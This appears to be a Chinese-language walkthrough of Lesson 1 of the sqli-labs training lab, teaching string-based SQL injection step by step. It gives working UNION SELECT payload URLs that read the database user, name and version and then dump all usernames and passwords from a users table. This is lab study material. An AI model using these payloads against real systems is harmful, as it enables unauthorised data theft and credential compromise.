Keep Calm and Carry On

本文是通过sqli-labs学习SQL注入,以下依次记录每一关的操作过程。

一、Lession1

1. 确定后台代码的id是整形还是字符串

判断SQL注入是基于整形还是基于字符型的关键在于了解该字符是否需要单引号表示,现在id=1后面加一个单引号 id=1',发现页面显示的错误表明输入的单引号被后台执行了。

再次在id=1后面输入一个单引号id=1'',发现可以正常执行,因此可以判断这是一个基于字符型的SQL注入,原理如下:

  1. 根据只多加一个单引号的错误显示,可以推测出后台的SQL语句应该是:
1
select ... from ... where id = '1' limit 0, 1;
  1. 多加了一个单引号之后,导致SQL语句错误
1
select ... from ... where id = '1'' limit 0, 1;
  1. 再加一个单引号,数据库就自动忽略闭合的内容为空的两个单引号,得以正常执行:
1
select ... from ... where id = '1''' limit 0, 1;

2. 使用order by语句判断表的字段数目

因为order by 语句是根据某个字段排序,因此可以一一尝试,当没有报错就说明存在改字段,一直尝试到order by 4发现报错,因此可以判断该表一共有3个字段。

1
http://myapp/sqli-labs-master/less-1/?id=1' order by 4

3. 使用union语句判断数据库名、表名、哪些字段会在页面显示

使用id=-1使得从表中查不到数据,然后再用自己的数据联合,判断表中第几个字段会显示在页面上。

1
http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,2,3 -- +

显示当前用户、数据库名、版本等信息,可以知道数据库名是security

1
http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,2,concat_ws(char(58), user(), database(),version()) -- +

枚举数据库中的表名:

枚举users表的字段名:

接下来就可以获取users表的全部数据:

1
http://myapp/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(password),group_concat(username) from users -- +